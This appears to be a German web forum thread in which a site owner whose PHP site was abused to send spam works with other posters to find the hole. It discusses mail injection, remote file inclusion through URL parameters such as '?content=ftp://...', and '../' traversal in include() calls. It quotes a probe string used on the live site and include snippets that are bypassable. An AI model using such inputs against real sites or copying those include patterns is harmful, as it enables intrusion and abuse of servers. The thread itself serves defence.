Skript Mißbrauch durch Spammer - wo sind die Lücken?

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • #16
    Ist der Schutz gegen index.php?seite=http:// /dort schon aktiv?
    --------------------------------------------------------------------------------
    Dieser Schutz ist natürlich aktiv und kann gerne unter http://www.billard-p3c.de/breakball/ besichtigt werden.


    Haben wir es doch vermutet, auf der gespammten Seite war der injection nie aktiv
    , und wegen Sperre geht auch nichts mehr. Weil zuerst wurde gespammt, dann die Seite gesperrt, dann bist Du ins Forum gekommen, und dann hast Du den injection Schutz eingebaut.

    Kommentar


    • #17
      Aus rechtlicher Sicht kann der tophoster nicht einfach angeben , es sei gespammt worden ohne irgendwelche verständlichen, nachprüfbaren Angaben. Seine Angabe ist bei diesem Stand der Dinge nichts als eine Behauptung und eine willkürliche Abschaltung.

      Kommentar


      • #18
        Original geschrieben von muh (newbie)
        Haben wir es doch vermutet, auf der gespammten Seite war der injection nie aktiv
        , und wegen Sperre geht auch nichts mehr. Weil zuerst wurde gespammt, dann die Seite gesperrt, dann bist Du ins Forum gekommen, und dann hast Du den injection Schutz eingebaut.
        Nein! Der Schutz ist auch auf der momentan gesperrten Site eingebaut und aktiv. Vom Provider wurden diejenigen Scripte bemängelt, in denen mail() verwendet wurde. Diese Teile wurden auskommentiert. Nach der Freischaltung ging der Spam-Versand aber wieder los.

        Gruß, Jürgen

        Kommentar


        • #19
          Dann soll er dir sagen wer spammt.

          Kommentar


          • #20
            mail injection ist ein bekanntes Thema. Die online Version des php Manuals enthält
            in den UCN (user contributed notes) viele Informationen und Schutzvorschläge.

            Secure php hat auch was:
            http://www.securephpwiki.com/index.php/Email_Injection

            Kommentar


            • #21
              Aus den logfiles des servers zu deinem account sollte man die faulen Aufrufe sehen können. Vielleicht hat angreifer schon früher seine eigenen Skripts eingeschleust. Wenn man nicht einmal die Einbruchstelle kennt (und ein simples mail() kann es offenbar nicht mehr sein) muss man zuerst diese suchen.

              Möglicherweise musst Du mal den gesamten Source Code deiner Site liefern um die
              Stelle zu finden. Selber siehst Du es vermutlich nicht
              Zuletzt geändert von muh (newbie); 25.05.2006, 10:56.

              Kommentar


              • #22
                Laut Provider kommt der Spam von User web118, das bin ich.

                Die Site ist recht übersichtlich. Von allen Seiten verwenden nur nur 8 PHP. Und von diesen nehmen nur 5 Argument von außen entgegen (siehe Threadanfang). Da der Provider offenbar nicht in der Lage ist, die Einbruchsstelle zu finden, habe ich hier nachgefragt, um mögliche Schwachstellen in meinem Code auszuschließen oder zu finden.

                Gruß, J. Mayer

                Kommentar


                • #23
                  perl und dergleichen?

                  geht es überhaupt über die Webseite oder eher über die mit der webseite verbundenen maildienste?

                  schon mal passworte geändert?

                  vielleicht ist es gar kein spam, sondern bloss ein programmfehler in deiner mail() Funktion die zu Fehlermeldungen von sendmail führt.

                  Kommentar


                  • #24
                    Original geschrieben von muh (newbie)
                    perl und dergleichen?
                    Ist zwar vorhanden, wird aber von uns nicht genutzt.

                    geht es überhaupt über die Webseite oder eher über die mit der webseite verbundenen maildienste?
                    Könntest Du die Frage etwas genauer formulieren? Zur Info, wir habe die Domain breakball.de, der Spam trug die Absende- und Rücksendeadresse web118@server5.configcenter.info - das ist der Server auf dem unsere Seite liegt.

                    schon mal passworte geändert?
                    Ja.

                    vielleicht ist es gar kein spam, sondern bloss ein programmfehler in deiner mail() Funktion die zu Fehlermeldungen von sendmail führt.
                    mail() ist eine PHP-Funktion. Wie ich diese Aufrufe habe ich hier schon gepostet. Außerdem wurde der Aufruf von mail() auskommentiert.

                    Kommentar


                    • #25
                      Ich denke dass ?content=ftp:// nicht abgesichert ist (bzw war). Ich habe versucht ?content=ftp://dlink.de/irgendeindokument und ?content=ftp://ich.selber/test.php. Ergebnis: Auf meinem rasch aufgesetzten Test-Server sind entsprechende Verbindungsaufrufe von 217.****** gekommen . Auf der Webseite ist die IP-logged-Meldung nicht gekommen, sondern Fehlermeldung vom include 550, bzw. es hat von dlink.de anscheinend etwas geladen.

                      (Mein Testserver ist nicht sehr gut deswegen bin ich nicht weiter gekommen)

                      (Inzwischen kommt die Fehlermeldung. Selbstlernender Server?)

                      Kommentar


                      • #26
                        Du hast recht, da war tatsächlich eine Lücke offen. Da ich momentan mitlogge, was als content übergeben wird, hab ich das gleich gesehen und die Lücke geschlossen.

                        Kommentar


                        • #27
                          Das andere wegen der mail-Schnittstelle meinte folgendes: es kann ja jemand den SMTP, der zum webspace gehört, direkt anpeilen und über diesen seine mails versenden. (wenn er userid und passwort zur Authentisierung kennt oder das nicht gesichert ist). Schliesslich kann der Absender und der Return-Path: im mail direkt gefälscht sein. Aber es wäre etwas viel Zufall, dass ein Loch ist, sendmail-Fehlermeldungen auch vorhanden sind und der spam-Versand nur eine Fälschung ist. Also Theorie...

                          Kommentar


                          • #28
                            Ich frage mich, ob nicht eine der folgenden Varianten ausreichen würde, gegen
                            include_cross_injects, wenn eine Weissliste nicht gewünscht wird. Vor allem das
                            dritte erfordert überhaupt keine Mühe:
                            PHP-Code:
                            include ('file://' getcwd() . $seite) ;
                            include (
                            'prefix_' $seite);
                            include (
                            './' $seite); 

                            Kommentar


                            • #29
                              Original geschrieben von muh (newbie)
                              Vor allem das dritte erfordert überhaupt keine Mühe
                              Es zu umgehen erfordert keine, meinst du?

                              Mit ../ kann man da nach belieben in höhere Verzeichnisse wechseln, und dort alle beliebigen Dateien auswählen!
                              I don't believe in rebirth. Actually, I never did in my whole lives.

                              Kommentar


                              • #30
                                Naja, soll ich mein Post editieren? Der erste Vorschlag hat die
                                gleiche ../../Krankheit. In diesem Sinne ist Nr. 3 grad so 'gut'. tauglicher wäre
                                vielleicht, das Argument $seite mit basename() und einer Pfadnamen-whitelist zu
                                screenen, wenn eine volle whitelist zu mühsam ist.

                                Kommentar

                                Lädt...
                                X